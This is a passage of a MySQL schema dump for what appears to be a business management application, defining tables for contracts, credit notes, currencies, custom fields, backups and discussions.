NOT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` text COLLATE utf8mb4_unicode_ci, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `contract_files_company_id_foreign` (`company_id`), KEY `contract_files_user_id_foreign` (`user_id`), KEY `contract_files_contract_id_foreign` (`contract_id`), KEY `contract_files_added_by_foreign` (`added_by`), KEY `contract_files_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `contract_files_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `contract_files_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contract_files_contract_id_foreign` FOREIGN KEY (`contract_id`) REFERENCES `contracts` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contract_files_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `contract_files_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `contract_renews`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `contract_renews` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `renewed_by` int unsigned NOT NULL, `contract_id` bigint unsigned NOT NULL, `start_date` date NOT NULL, `end_date` date NOT NULL, `amount` decimal(12,2) NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `contract_renews_company_id_foreign` (`company_id`), KEY `contract_renews_renewed_by_foreign` (`renewed_by`), KEY `contract_renews_contract_id_foreign` (`contract_id`), KEY `contract_renews_added_by_foreign` (`added_by`), KEY `contract_renews_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `contract_renews_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `contract_renews_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contract_renews_contract_id_foreign` FOREIGN KEY (`contract_id`) REFERENCES `contracts` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contract_renews_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `contract_renews_renewed_by_foreign` FOREIGN KEY (`renewed_by`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `contract_signs`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `contract_signs` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `contract_id` bigint unsigned NOT NULL, `full_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `signature` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `contract_signs_contract_id_foreign` (`contract_id`), CONSTRAINT `contract_signs_contract_id_foreign` FOREIGN KEY (`contract_id`) REFERENCES `contracts` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `contract_types`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `contract_types` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `contract_types_company_id_foreign` (`company_id`), CONSTRAINT `contract_types_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `contracts`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `contracts` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `client_id` int unsigned NOT NULL, `subject` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `amount` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `original_amount` decimal(15,2) NOT NULL, `contract_type_id` bigint unsigned DEFAULT NULL, `start_date` date NOT NULL, `original_start_date` date NOT NULL, `end_date` date DEFAULT NULL, `original_end_date` date DEFAULT NULL, `description` longtext COLLATE utf8mb4_unicode_ci, `contract_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `company_logo` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `alternate_address` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `cell` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `office` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `city` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `state` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `country` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `postal_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `contract_detail` longtext COLLATE utf8mb4_unicode_ci, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `hash` text COLLATE utf8mb4_unicode_ci, `currency_id` int unsigned DEFAULT NULL, `event_id` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `contracts_company_id_foreign` (`company_id`), KEY `contracts_client_id_foreign` (`client_id`), KEY `contracts_contract_type_id_foreign` (`contract_type_id`), KEY `contracts_added_by_foreign` (`added_by`), KEY `contracts_last_updated_by_foreign` (`last_updated_by`), KEY `contracts_currency_id_foreign` (`currency_id`), CONSTRAINT `contracts_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `contracts_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contracts_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contracts_contract_type_id_foreign` FOREIGN KEY (`contract_type_id`) REFERENCES `contract_types` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `contracts_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contracts_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `conversation`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `conversation` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_one` int unsigned NOT NULL, `user_two` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `conversation_company_id_foreign` (`company_id`), KEY `conversation_user_one_foreign` (`user_one`), KEY `conversation_user_two_foreign` (`user_two`), CONSTRAINT `conversation_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `conversation_reply`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `conversation_reply` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `conversation_id` int unsigned NOT NULL, `reply` text COLLATE utf8mb4_unicode_ci NOT NULL, `user_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `conversation_reply_company_id_foreign` (`company_id`), KEY `conversation_reply_conversation_id_foreign` (`conversation_id`), KEY `conversation_reply_user_id_foreign` (`user_id`), CONSTRAINT `conversation_reply_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `conversation_reply_conversation_id_foreign` FOREIGN KEY (`conversation_id`) REFERENCES `conversation` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `conversation_reply_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `countries`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `countries` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `iso` char(2) COLLATE utf8mb4_unicode_ci NOT NULL, `name` varchar(80) COLLATE utf8mb4_unicode_ci NOT NULL, `nicename` varchar(80) COLLATE utf8mb4_unicode_ci NOT NULL, `iso3` char(3) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `numcode` smallint DEFAULT NULL, `phonecode` int NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `credit_note_item_images`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `credit_note_item_images` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `credit_note_item_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `credit_note_item_images_credit_note_item_id_foreign` (`credit_note_item_id`), CONSTRAINT `credit_note_item_images_credit_note_item_id_foreign` FOREIGN KEY (`credit_note_item_id`) REFERENCES `credit_note_items` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `credit_note_items`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `credit_note_items` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `credit_note_id` int unsigned NOT NULL, `item_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `type` enum('item','discount','tax') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'item', `quantity` int NOT NULL, `unit_price` double(30,2) NOT NULL, `amount` double(30,2) NOT NULL, `taxes` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hsn_sac_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `item_summary` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `credit_note_items_credit_note_id_foreign` (`credit_note_id`), CONSTRAINT `credit_note_items_credit_note_id_foreign` FOREIGN KEY (`credit_note_id`) REFERENCES `credit_notes` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `credit_notes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `credit_notes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `client_id` int unsigned DEFAULT NULL, `cn_number` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `invoice_id` int unsigned DEFAULT NULL, `issue_date` date NOT NULL, `due_date` date NOT NULL, `discount` double NOT NULL DEFAULT '0', `discount_type` enum('percent','fixed') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'percent', `sub_total` double(15,2) NOT NULL, `total` double(15,2) NOT NULL, `adjustment_amount` double(30,2) DEFAULT NULL, `currency_id` int unsigned DEFAULT NULL, `status` enum('closed','open') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'open', `recurring` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `billing_frequency` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `billing_interval` int DEFAULT NULL, `billing_cycle` int DEFAULT NULL, `file` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `file_original_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `note` text COLLATE utf8mb4_unicode_ci, `deleted_at` timestamp NULL DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `calculate_tax` enum('after_discount','before_discount') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'after_discount', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `credit_notes_company_id_foreign` (`company_id`), KEY `credit_notes_project_id_foreign` (`project_id`), KEY `credit_notes_client_id_foreign` (`client_id`), KEY `credit_notes_currency_id_foreign` (`currency_id`), KEY `credit_notes_added_by_foreign` (`added_by`), KEY `credit_notes_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `credit_notes_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `credit_notes_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `credit_notes_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `credit_notes_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `credit_notes_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `credit_notes_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `currencies`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `currencies` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `currency_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `currency_symbol` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `currency_code` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `exchange_rate` double DEFAULT NULL, `is_cryptocurrency` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `usd_price` double DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `currencies_company_id_foreign` (`company_id`), CONSTRAINT `currencies_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `currency_format_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `currency_format_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `currency_position` enum('left','right','left_with_space','right_with_space') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'left', `no_of_decimal` int unsigned NOT NULL, `thousand_separator` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `decimal_separator` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, PRIMARY KEY (`id`), KEY `currency_format_settings_company_id_foreign` (`company_id`), CONSTRAINT `currency_format_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `custom_field_groups`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `custom_field_groups` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `model` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, PRIMARY KEY (`id`), KEY `custom_field_groups_company_id_foreign` (`company_id`), KEY `custom_field_groups_model_index` (`model`), CONSTRAINT `custom_field_groups_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `custom_fields`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `custom_fields` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `custom_field_group_id` int unsigned DEFAULT NULL, `label` varchar(100) COLLATE utf8mb4_unicode_ci NOT NULL, `name` varchar(100) COLLATE utf8mb4_unicode_ci NOT NULL, `type` varchar(10) COLLATE utf8mb4_unicode_ci NOT NULL, `required` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `values` varchar(5000) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `export` tinyint(1) DEFAULT '0', PRIMARY KEY (`id`), KEY `custom_fields_company_id_foreign` (`company_id`), KEY `custom_fields_custom_field_group_id_foreign` (`custom_field_group_id`), CONSTRAINT `custom_fields_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `custom_fields_custom_field_group_id_foreign` FOREIGN KEY (`custom_field_group_id`) REFERENCES `custom_field_groups` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `custom_fields_data`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `custom_fields_data` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `custom_field_id` int unsigned NOT NULL, `model_id` int unsigned NOT NULL, `model` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `value` varchar(10000) COLLATE utf8mb4_unicode_ci NOT NULL, PRIMARY KEY (`id`), KEY `custom_fields_data_custom_field_id_foreign` (`custom_field_id`), KEY `custom_fields_data_model_index` (`model`), CONSTRAINT `custom_fields_data_custom_field_id_foreign` FOREIGN KEY (`custom_field_id`) REFERENCES `custom_fields` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `dashboard_widgets`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `dashboard_widgets` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `widget_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `status` tinyint(1) NOT NULL DEFAULT '1', `dashboard_type` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `dashboard_widgets_company_id_foreign` (`company_id`), CONSTRAINT `dashboard_widgets_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `database_backup_cron_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `database_backup_cron_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'inactive', `hour_of_day` time DEFAULT NULL, `backup_after_days` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `delete_backup_after_days` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `database_backups`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `database_backups` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `filename` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` datetime DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `designations`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `designations` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `designations_company_id_foreign` (`company_id`), KEY `designations_added_by_foreign` (`added_by`), KEY `designations_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `designations_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `designations_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `designations_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `discussion_categories`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `discussion_categories` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `order` int NOT NULL DEFAULT '1', `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `color` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `discussion_categories_company_id_foreign` (`company_id`), CONSTRAINT `discussion_categories_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `discussion_files`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `discussion_files` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `discussion_id` int unsigned DEFAULT NULL, `discussion_reply_id` int unsigned DEFAULT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` text COLLATE utf8mb4_unicode_ci, `google_url` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `dropbox_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `discussion_files_company_id_foreign` (`company_id`), KEY `discussion_files_user_id_foreign` (`user_id`), KEY `discussion_files_discussion_id_foreign` (`discussion_id`), KEY `discussion_files_discussion_reply_id_foreign` (`discussion_reply_id`), CONSTRAINT `discussion_files_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `discussion_files_discussion_id_foreign` FOREIGN KEY (`discussion_id`) REFERENCES `discussions` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `discussion_files_discussion_reply_id_foreign` FOREIGN KEY (`discussion_reply_id`) REFERENCES `discussion_replies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `discussion_files_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `discussion_replies`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `discussion_replies` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `discussion_id` int unsigned NOT NULL, `user_id` int unsigned NOT NULL, `body` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `deleted_at` timestamp NULL DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `discussion_replies_discussion_id_foreign` (`discussion_id`), KEY `discussion_replies_user_id_foreign` (`user_id`), KEY `discussion_replies_company_id_foreign` (`company_id`), CONSTRAINT `discussion_replies_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `discussion_replies_discussion_id_foreign` FOREIGN KEY (`discussion_id`) REFERENCES `discussions` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `discussion_replies_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 